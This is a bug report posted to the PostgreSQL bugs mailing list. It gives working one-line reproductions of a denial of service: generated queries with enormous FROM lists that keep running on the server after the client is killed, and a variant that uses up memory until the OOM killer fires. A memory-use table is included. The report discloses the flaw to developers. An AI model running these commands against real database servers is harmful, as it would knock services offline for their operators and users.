Fwd: Non-cancellable queries
Anton Fedorov <datacompboy@gmail.com>
From: Anton Fedorov <datacompboy@gmail.com>
To: pgsql-bugs@lists.postgresql.org
Date: 2026-05-19T20:44:33Z
Lists: pgsql-bugs
Hello!
There is an interesting issue in PostgreSQL handling "FROM" list that could
be used to trigger DoS.
The issue is here from ancient times, reproducible on the latest release as
well:
docker pull postgres:latest
docker run postgres:latest
python -c "n=200000;print('with x as (select 1) select 1 from x
x',end='');any(print(str(x),end=',x x') for x in range(n))" | psql -h
172.17.0.3 -Upostgres -A &
killall -9 psql
You can run as many queries as you want; the queries sitting server-side,
consuming CPU:
[image: image.png]
The only way to kill them is to restart the server or wait almost
indefinitely.
=======
There is also similar long query that actually works as QoD triggering oom
killer:
python -c "print('create table if not exists x(x int); SELECT FROM x',
end='');any(print(',x x',end=str(n)) for n in range(10000))" | psql
If the query references a `WITH x AS (...)` table, it fails as expected
with a stack too deep.
When the query references an existing table, it consumes an enormous amount
of memory (and time) before failing anyway.
I've added memory tracking, and roughly:
4000 => 3.6 gb
5000 => 7.9 gb
6000 => 13.2 gb
7000 => 19.2 gb
8000 => 26.4 gb
9000 => 42 gb
10000 => 60 gb
11000 => 80 gb
12000 => 102 gb